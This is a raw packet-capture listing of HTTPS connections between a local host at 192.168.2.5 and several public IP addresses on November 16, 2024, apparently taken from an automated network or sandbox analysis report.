Nov 16, 2024 23:36:26.035815954 CET	49763	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.041105032 CET	443	49767	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.046452999 CET	49763	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.046472073 CET	443	49763	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.046586037 CET	49763	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.046591997 CET	443	49763	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.054469109 CET	49767	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.054510117 CET	443	49767	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.054867029 CET	49767	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.054883003 CET	443	49767	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.060220957 CET	49769	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.060246944 CET	443	49769	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.060512066 CET	49769	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.065174103 CET	49743	443	192.168.2.5	4.245.163.56
Nov 16, 2024 23:36:26.065181971 CET	443	49743	4.245.163.56	192.168.2.5
Nov 16, 2024 23:36:26.065319061 CET	49743	443	192.168.2.5	4.245.163.56
Nov 16, 2024 23:36:26.065323114 CET	443	49743	4.245.163.56	192.168.2.5
Nov 16, 2024 23:36:26.066761017 CET	49769	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.066771030 CET	443	49769	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.081206083 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.081408024 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.081516981 CET	49764	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.082833052 CET	49764	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.082839012 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.082849979 CET	49764	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.082854986 CET	443	49764	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.088891029 CET	49770	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.088912010 CET	443	49770	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.089278936 CET	49770	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.089943886 CET	49770	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.089956999 CET	443	49770	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.093012094 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.093205929 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.093278885 CET	49765	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.093354940 CET	49765	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.093354940 CET	49765	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.093388081 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.093414068 CET	443	49765	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.095669031 CET	49771	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.095694065 CET	443	49771	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.095745087 CET	49771	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.095906973 CET	49771	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.095917940 CET	443	49771	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.097492933 CET	443	49766	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.097619057 CET	443	49766	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.097671032 CET	49766	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.097732067 CET	49766	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.097732067 CET	49766	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.097738028 CET	443	49766	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.097744942 CET	443	49766	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.114518881 CET	49772	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.114557981 CET	443	49772	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.114778042 CET	49772	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.119184017 CET	49772	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.119211912 CET	443	49772	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.202080011 CET	443	49767	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.202246904 CET	443	49767	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.202450991 CET	49767	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.202775002 CET	49767	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.202775955 CET	49767	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.202806950 CET	443	49767	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.202831984 CET	443	49767	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.206007957 CET	49773	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.206046104 CET	443	49773	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.206176996 CET	49773	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.206290960 CET	49773	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.206299067 CET	443	49773	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.814619064 CET	443	49769	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.815285921 CET	49769	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.815299034 CET	443	49769	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.817070007 CET	49769	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.817085028 CET	443	49769	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.854424953 CET	443	49770	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.880490065 CET	443	49771	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.883514881 CET	443	49772	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.898753881 CET	49770	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.898765087 CET	443	49770	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.913474083 CET	49770	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.913481951 CET	443	49770	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.933521032 CET	49772	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.933559895 CET	49771	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:26.961009026 CET	443	49773	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.970424891 CET	443	49769	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.970752954 CET	443	49769	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:26.970818996 CET	49769	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.012176037 CET	49773	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.038022995 CET	49771	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.038029909 CET	443	49771	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.038803101 CET	49771	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.038803101 CET	49769	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.038803101 CET	49769	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.038815022 CET	443	49771	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.038834095 CET	443	49769	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.038842916 CET	443	49769	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.042551994 CET	49772	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.042607069 CET	443	49772	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.043375969 CET	49772	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.043390989 CET	443	49772	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.053600073 CET	443	49770	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.053770065 CET	443	49770	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.053905964 CET	49770	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.054044008 CET	49770	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.054044008 CET	49770	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.054052114 CET	443	49770	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.054059982 CET	443	49770	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.057135105 CET	49773	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.057145119 CET	443	49773	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.057763100 CET	49773	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.057769060 CET	443	49773	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.142894030 CET	49775	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.142931938 CET	443	49775	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.143210888 CET	49775	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.143280029 CET	49776	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.143305063 CET	443	49776	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.143378973 CET	49776	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.149442911 CET	49775	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.149457932 CET	443	49775	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.149626017 CET	49776	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.149636984 CET	443	49776	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.178431034 CET	443	49771	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.178581953 CET	443	49771	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.178647995 CET	49771	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.188760042 CET	443	49772	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.189147949 CET	443	49772	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.189254045 CET	49772	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.190793991 CET	443	49773	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.190946102 CET	443	49773	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.191046953 CET	49773	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.240641117 CET	49771	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.240654945 CET	443	49771	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.240696907 CET	49771	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.240704060 CET	443	49771	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.242173910 CET	49772	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.242198944 CET	443	49772	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.242238998 CET	49772	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.242255926 CET	443	49772	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.244225025 CET	49773	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.244244099 CET	443	49773	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.244251013 CET	49773	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.244256020 CET	443	49773	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.341701984 CET	49777	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.341722012 CET	443	49777	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.341873884 CET	49777	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.363331079 CET	49777	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.363343954 CET	443	49777	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.371299028 CET	49778	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.371335030 CET	443	49778	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.371504068 CET	49778	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.371570110 CET	49778	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.371575117 CET	443	49778	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.379693031 CET	49779	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.379703999 CET	443	49779	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.379766941 CET	49779	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.410177946 CET	49779	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.410192013 CET	443	49779	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.921458960 CET	443	49775	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.922179937 CET	443	49776	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.968369007 CET	49775	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.968451023 CET	49776	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.975061893 CET	49775	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.975070953 CET	443	49775	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.976701021 CET	49775	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.976706982 CET	443	49775	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.977031946 CET	49776	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.977040052 CET	443	49776	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:27.977561951 CET	49776	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:27.977566957 CET	443	49776	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.108968973 CET	443	49775	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.109112024 CET	443	49775	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.109211922 CET	49775	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.114821911 CET	443	49776	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.115056992 CET	443	49776	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.115801096 CET	49776	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.132819891 CET	49775	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.132849932 CET	443	49775	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.132949114 CET	49775	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.132955074 CET	443	49775	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.142780066 CET	49786	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.142848969 CET	443	49786	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.142972946 CET	49786	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.147667885 CET	49776	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.147667885 CET	49776	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.147684097 CET	443	49776	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.147691965 CET	443	49776	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.153352976 CET	443	49777	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.175923109 CET	443	49779	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.194977999 CET	49779	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.194994926 CET	443	49779	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.196425915 CET	49779	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.196430922 CET	443	49779	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.196652889 CET	49777	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.196657896 CET	443	49777	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.197001934 CET	49777	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.197005987 CET	443	49777	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.201653957 CET	49787	443	192.168.2.5	94.245.104.56
Nov 16, 2024 23:36:28.201664925 CET	443	49787	94.245.104.56	192.168.2.5
Nov 16, 2024 23:36:28.203471899 CET	49787	443	192.168.2.5	94.245.104.56
Nov 16, 2024 23:36:28.206737041 CET	49787	443	192.168.2.5	94.245.104.56
Nov 16, 2024 23:36:28.206748009 CET	443	49787	94.245.104.56	192.168.2.5
Nov 16, 2024 23:36:28.246232033 CET	49786	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.246282101 CET	443	49786	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.304321051 CET	49788	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.304394007 CET	443	49788	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.304718971 CET	49788	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.325968981 CET	49788	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.326013088 CET	443	49788	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.329910994 CET	443	49779	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.330034971 CET	443	49779	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.330092907 CET	49779	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.330216885 CET	49779	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.330226898 CET	443	49779	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.330244064 CET	49779	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.330248117 CET	443	49779	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.343554020 CET	49789	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.343564987 CET	443	49789	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.343739986 CET	443	49778	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.343810081 CET	49789	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.344675064 CET	49778	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.344698906 CET	443	49778	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.345280886 CET	49778	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.345288992 CET	443	49778	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.378783941 CET	49789	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.378797054 CET	443	49789	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.429904938 CET	443	49777	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.429976940 CET	443	49777	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.430043936 CET	49777	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.470029116 CET	49777	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.470036030 CET	443	49777	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.470043898 CET	49777	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.470050097 CET	443	49777	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.495517969 CET	443	49778	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.495727062 CET	443	49778	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.495924950 CET	49778	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.522852898 CET	49778	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.522852898 CET	49778	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.522877932 CET	443	49778	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.522888899 CET	443	49778	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.526470900 CET	49790	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.526518106 CET	443	49790	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.526598930 CET	49790	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.592437983 CET	49791	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.592448950 CET	443	49791	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.592504978 CET	49791	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.603163958 CET	49790	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.603189945 CET	443	49790	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:28.631977081 CET	49791	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:28.631989002 CET	443	49791	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.007128954 CET	443	49786	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.083859921 CET	443	49788	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.126643896 CET	49786	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.140497923 CET	443	49789	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.142021894 CET	49788	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.228122950 CET	49789	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.305819035 CET	443	49787	94.245.104.56	192.168.2.5
Nov 16, 2024 23:36:29.372847080 CET	443	49790	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.400614023 CET	443	49791	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.445198059 CET	49787	443	192.168.2.5	94.245.104.56
Nov 16, 2024 23:36:29.445405006 CET	49790	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.563355923 CET	49791	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.584604025 CET	49787	443	192.168.2.5	94.245.104.56
Nov 16, 2024 23:36:29.584614992 CET	443	49787	94.245.104.56	192.168.2.5
Nov 16, 2024 23:36:29.588112116 CET	49791	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.588115931 CET	443	49791	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.588390112 CET	443	49787	94.245.104.56	192.168.2.5
Nov 16, 2024 23:36:29.588402987 CET	443	49787	94.245.104.56	192.168.2.5
Nov 16, 2024 23:36:29.588443995 CET	49787	443	192.168.2.5	94.245.104.56
Nov 16, 2024 23:36:29.588680983 CET	49791	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.588684082 CET	443	49791	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.588998079 CET	49790	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.589029074 CET	443	49790	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.589359045 CET	49790	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.589373112 CET	443	49790	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.590131044 CET	49786	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.590168953 CET	443	49786	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.590588093 CET	49786	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.590603113 CET	443	49786	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.591366053 CET	49788	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.591389894 CET	443	49788	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.591938019 CET	49788	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.591942072 CET	49787	443	192.168.2.5	94.245.104.56
Nov 16, 2024 23:36:29.591948986 CET	443	49788	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.592149019 CET	443	49787	94.245.104.56	192.168.2.5
Nov 16, 2024 23:36:29.593033075 CET	49789	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.593043089 CET	443	49789	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.593377113 CET	49789	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.593383074 CET	443	49789	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.593410969 CET	49787	443	192.168.2.5	94.245.104.56
Nov 16, 2024 23:36:29.593417883 CET	443	49787	94.245.104.56	192.168.2.5
Nov 16, 2024 23:36:29.645373106 CET	49787	443	192.168.2.5	94.245.104.56
Nov 16, 2024 23:36:29.721811056 CET	443	49791	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.722219944 CET	443	49791	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.722279072 CET	49791	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.724392891 CET	49791	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.724397898 CET	443	49791	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.724407911 CET	49791	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.724412918 CET	443	49791	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.725069046 CET	49792	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:29.725143909 CET	443	49792	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:29.725220919 CET	49792	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:29.725919962 CET	443	49786	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.726174116 CET	443	49786	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.726218939 CET	49786	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.726396084 CET	49792	443	192.168.2.5	40.126.32.76
Nov 16, 2024 23:36:29.726428032 CET	443	49792	40.126.32.76	192.168.2.5
Nov 16, 2024 23:36:29.727529049 CET	443	49788	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.727706909 CET	443	49788	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.727780104 CET	49788	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.729566097 CET	49786	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.729585886 CET	443	49786	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.729598045 CET	49786	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.729604006 CET	443	49786	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.729675055 CET	443	49789	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.734833002 CET	49788	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.734833002 CET	49788	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.734886885 CET	443	49788	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.734925032 CET	443	49788	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.741286039 CET	49793	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.741307974 CET	443	49793	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.741368055 CET	49793	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.742820024 CET	49794	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.742870092 CET	443	49794	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.742939949 CET	49794	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.743014097 CET	49793	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.743029118 CET	443	49793	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.744225025 CET	49794	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.744254112 CET	443	49794	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.746025085 CET	49795	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.746036053 CET	443	49795	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.746098995 CET	49795	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.746236086 CET	49795	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.746248960 CET	443	49795	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.830667019 CET	49789	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.830673933 CET	443	49789	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.831943035 CET	49789	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.831954002 CET	443	49789	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.831960917 CET	49789	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.832185030 CET	443	49789	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.832210064 CET	443	49789	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:29.832247019 CET	49789	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:29.839512110 CET	443	49787	94.245.104.56	192.168.2.5
